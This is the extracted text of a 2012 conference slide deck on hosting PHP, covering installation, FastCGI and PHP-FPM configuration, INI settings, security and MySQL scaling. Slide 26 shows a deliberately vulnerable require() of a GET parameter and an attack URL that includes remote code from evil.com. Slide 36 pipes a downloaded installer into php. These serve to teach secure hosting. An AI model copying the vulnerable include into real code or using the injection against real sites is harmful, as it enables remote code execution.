Php through the eyes of a hoster confoo

2,969 views

Published on

Slides for my talk at Confoo 2012

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
2,969
On SlideShare
0
From Embeds
0
Number of Embeds
7
Actions
Shares
0
Downloads
10
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Php through the eyes of a hoster confoo

  1. 1. PHP  through  the  eyes  of  a  hosterThijs  FerynEvangelist+32  (0)9  218  79  06thijs@combellgroup.com
  2. 2. Very  excited  to  be  here  !
  3. 3. THIJS
  4. 4. TAZE
  5. 5. Evangelist
  6. 6. @ThijsFeryn
  7. 7. Please   rate  my  talk  on   Joind.inhttps://joind.in/6090
  8. 8. Chapter  I  :  The  hoster,  a  genuine  stakeholder  in  the  PHP  universe
  9. 9. Stakeholders Customer Development  company Endusers MGMT Devs MGMT Design PM Internal Internal IT PM Sales QA Systeam Consultant Hoster PHP  community
  10. 10. Stakeholders Somewhere  along  the  road  ... Your  app  needs  to  be  hosted
  11. 11. Goals  &  moves Our  goals  &  moves  are  the  same  as  yours: • It  has  to  work • It  has  to  perform • It  has  to  scale • It  has  to  be  secure • It  has  to  be  available
  12. 12. What  about  the  Cloud?
  13. 13. Chapter  II:  Installaon  &  configuraon
  14. 14. There’s  more  than  just  Apache
  15. 15. Installing  from  sourceserver$  ./configure  -­‐-­‐with-­‐ttf  -­‐-­‐with-­‐freetype-­‐dir=/usr/lib  -­‐-­‐prefix=/data/jail/usr/local/php-­‐5.3.8  -­‐-­‐with-­‐mysql  -­‐-­‐with-­‐mysqli  -­‐-­‐with-­‐mssql  -­‐-­‐enable-­‐exif  -­‐-­‐enable-­‐soap  -­‐-­‐with-­‐mcrypt  -­‐-­‐with-­‐mhash  -­‐-­‐with-­‐curl  -­‐-­‐enable-­‐mbstring  -­‐-­‐with-­‐gettext  -­‐-­‐with-­‐zlib  -­‐-­‐enable-­‐ftp  -­‐-­‐with-­‐openssl  -­‐-­‐with-­‐xsl  -­‐-­‐with-­‐db4  -­‐-­‐with-­‐pgsql  -­‐-­‐enable-­‐calendar  -­‐-­‐enable-­‐bcmath  -­‐-­‐with-­‐bz2  -­‐-­‐with-­‐imap=/data/jail/usr/local/imap  -­‐-­‐with-­‐imap-­‐ssl  -­‐-­‐with-­‐pdo-­‐mysql=/usr/bin/mysql_config  -­‐-­‐with-­‐jpeg-­‐dir=/usr/lib  -­‐-­‐with-­‐gd  -­‐-­‐enable-­‐zip  -­‐-­‐with-­‐xmlrpc  -­‐-­‐enable-­‐sockets  server$  makeserver$  make  install
  16. 16. Installing  using  a  package  manager  (APT/Aptude)Install  PHP: server$  apt-­‐get  install  php5Install  MySQL  library  for  PHP: server$  apt-­‐get  install  php5-­‐mysql
  17. 17. SAPI  ...  schmapi Mod_php FastCGI PHP-­‐FPM CLI Apache   Web gateway -­‐ module Apache   php-­‐fpm   Process php-­‐cgi php process daemon Apache  conf   config  per  Configuraon wrapper on  the  fly files pool shell  user  or   User Apache  user user  per  pool shell  user suexec  user
  18. 18. FastCGIExample  config:• Apache  handler    <IfModule  mod_fcgid.c>        SuexecUserGroup  dev  dev        PHP_Fix_Pathinfo_Enable  1        <Directory  /var/www/dev/www/>            Options  +ExecCGI            AllowOverride  All            AddHandler  fcgid-­‐script  .php            FCGIWrapper  /var/www/dev/etc/fcgi.wrapper  .php            Order  allow,deny            Allow  from  all        </Directory>    </IfModule>
  19. 19. FastCGIExample  config:• Wrapper  script #!/bin/sh PHPRC=/usr/local/php-­‐5.3.10/etc export  PHPRC export  PHP_FCGI_MAX_REQUESTS=5000 export  PHP_FCGI_CHILDREN=8 exec  /usr/local/php-­‐5.3.10/bin/php-­‐cgi
  20. 20. PHP-­‐FPMExample  config  in  Nginx: server  {        root  /var/www;        index  index.php  index.html  index.htm;        server_name  myserver.ext;        location  /  {                        try_files  $uri  $uri/  /index.html;        }        location  ~  .php$  {                fastcgi_split_path_info  ^(.+.php)(/.+)$;                fastcgi_pass  127.0.0.1:9000;                fastcgi_index  index.php;                include  fastcgi_params;        } }
  21. 21. PHP-­‐FPMExample  config  in  PHP-­‐FPM  main  www  pool: [www] user  =  www-­‐data group  =  www-­‐data listen  =  127.0.0.1:9000 listen.owner  =  www-­‐data listen.group  =  www-­‐data listen.mode  =  0666 listen.allowed_clients  =  127.0.0.1 pm  =  dynamic pm.max_children  =  10 pm.start_servers  =  4 pm.min_spare_servers  =  2 pm.max_spare_servers  =  6 pm.max_requests  =  500
  22. 22. INI  sehngs:  tales  of  good  &  evil
  23. 23. INI  sehngs:  tales  of  good  &  evilDefining  INI  sehngs:• Php.ini• Ini_set()• “-­‐d”  • php_value• php_flag• php_admin_value• php_admin_flag
  24. 24. INI  sehngs:  tales  of  good  &  evilMemory_limit: Fatal  error:  Allowed  memory  size  of  16777216   bytes  exhausted  (tried  to  allocate  35  bytes)
  25. 25. INI  sehngs:  tales  of  good  &  evilSafe_mode  &  Open_basedir: <IfModule  mod_php5.c>        php_admin_flag  engine  on        php_admin_flag  safe_mode  off        php_admin_value  open_basedir  "/var/www/vhosts/ website.com/httpdocs:/tmp" </IfModule>
  26. 26. INI  sehngs:  tales  of  good  &  evilAllow_url_fopen  &  allow_url_include: <?php $lang= $_GET[lang]; require("$lang.php");http://domain.ext/index.php?lang=http://evil.com/hack.txt?
  27. 27. Chapter  III:  Versions  &  features
  28. 28. PHP  4:  End  of  life,  but  far  from  dead
  29. 29. PHP  4:  End  of  life,  but  not  yet  dead Parse  error:  syntax  error,  unexpected  T_STRING,   expecting  T_OLD_FUNCTION  or  T_FUNCTION  or  T_VAR   or  }  in  test.php  on  line  4
  30. 30. Developers  love  bling  bling
  31. 31. It  HAS  to  be  PHP  5.3.10  !!!
  32. 32. I  need  ALL  PHP  extension  !!!
  33. 33. I  use  ALL  PHP  features  !!!
  34. 34. And  then  there’s DOT
  35. 35. Fruit  &  vegetables:  PEAR  &  PECL
  36. 36. Fruit  &  vegetables:  PEAR  &  PECLPEARPHP  Extension  and  Applicaon  Repository  (h#p//pear.php.net) server$  lynx  -­‐source  http://pear.php.net/go-­‐pear  |  php server$  pear  install  date
  37. 37. Fruit  &  vegetables:  PEAR  &  PECLPECL  (pickle)PHP  Extension  Community  Library  (h#p//pecl.php.net) server$  pecl  install  pecl_http
  38. 38. External  frameworks Popular  frameworks  outside  the  PHP  project
  39. 39. Chapter  IV:  PHP  aoracts  a  crowd
  40. 40. It’s  easy  !
  41. 41. That  easy  ! <?php echo "Hello world!";
  42. 42. It’s  cheap  !
  43. 43. It’s  stable  !
  44. 44. Everyone  can  be  a  PHP  developer
  45. 45. But  not  everyone  has  what  it  takes
  46. 46. Luckily  there’s  a  lot  ready-­‐to-­‐use  PHP  soqware  out  there
  47. 47. Who  you  gonna  call  ?
  48. 48. But  when  helpers  need  help  ...
  49. 49. They  reach  out  to  the  PHP  community User  Group  meengs Twioer Blogs Forums PHP.net IRC Conferences
  50. 50. Chapter  V:  Here  be  phpirates
  51. 51. Here  be  phpirates
  52. 52. Fact “The  majority  of  hacking/absue  cases  are  PHP  related”
  53. 53. False  assumpons “Open  source  is  evil”“PHP  has  lots  of  security  vulnerabilies  and  is  not  mature”
  54. 54. Here  be  phpiratesThe  real  issues• Quality  of  the  code• Network  &  server  security• PHP  version  &  configuraon
  55. 55. Responsibilies
  56. 56. Chapter  VI:  Scalability
  57. 57. Performance  ==  speed
  58. 58. Scalability  ==  constant  speed  under  increasing  load
  59. 59. Scaling  up
  60. 60. Scaling  out
  61. 61. Developers  (some2mes)  forget  ...
  62. 62. Scaling  MySQL
  63. 63. mysql>  explain  SELECT  field1,  (SELECT  COUNT(*)  FROM  table2  WHERE  field3  =  table1.id)  FROM  table1  WHERE  field2  =  1    ORDER  BY  field4  DESC  limit  12,12;***************************  1.  row  ***************************                      id:  1    select_type:  PRIMARY                table:  table1                  type:  ALLpossible_keys:  approved                    key:  approved            key_len:  NULL                    ref:  NULL                  rows:  3143                Extra:  Using  where;  Using  filesort***************************  2.  row  ***************************                      id:  2    select_type:  DEPENDENT  SUBQUERY                table:  table2                  type:  ALLpossible_keys:  NULL                    key:  NULL            key_len:  NULL                    ref:  NULL                  rows:  1005                Extra:  Using  where
  64. 64. mysql>  show  processlist;+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+|  Id        |  User  |  Host            |  db  |  Command  |  Time  |  State                                |  Info        |+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+|  63515  |  root  |  localhost  |  db  |  Query      |        0  |  NULL                                  |  show  processlist                                                                ||  81763  |  root  |  localhost  |  db  |  Sleep      |    105  |                                            |  NULL        ||  85187  |  root  |  localhost  |  db  |  Query      |        0  |  Sending  data                  |  SELECT  data  from  someTable  where  field  =  val    ||  82701  |  root  |  localhost  |  db  |  Query      |        0  |  Copying  to  tmp  table  |  SELECT  data  from  someTable  where  field=val2      ||  82709  |  root  |  localhost  |  db  |  Query      |        0  |  Sorting  result              |  SELECT  data  from  someTable  where  order  by  field  ||  82716  |  root  |  localhost  |  db  |  Query      |        0  |  Opening  tables              |  SELECT  data  from  someOtherTable                                  |+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
  65. 65. Scaling  MySQL  with  replicaon
  66. 66. PHP  scalability  toolbox
  67. 67. Memcached
  68. 68. Gearman
  69. 69. Varnish
  70. 70. Summary
  71. 71. Summary1.Hosters  are  a  genuine  stakeholder  in  the  PHP  universe2.PHP  is  highly  flexible  &  configurable.  Hosters  have  to  ensure  a  decent   setup3.PHP  has  a  lot  to  offer  feature-­‐wise4.PHP  aDracts  a  crowd  and  brings  a  lot  of  people  together  from   different  industries  (e.g.  hosters)5.Lots  of  abuse  cases  are  PHP  related,  but  that’s  not  the  fault  of  PHP   itself6.PHP  itself  doesn’t  scale  *that*  well,  but  is  flexible  enough  to  ensure   scalability  via  extra  tools
  72. 72. Q&A

×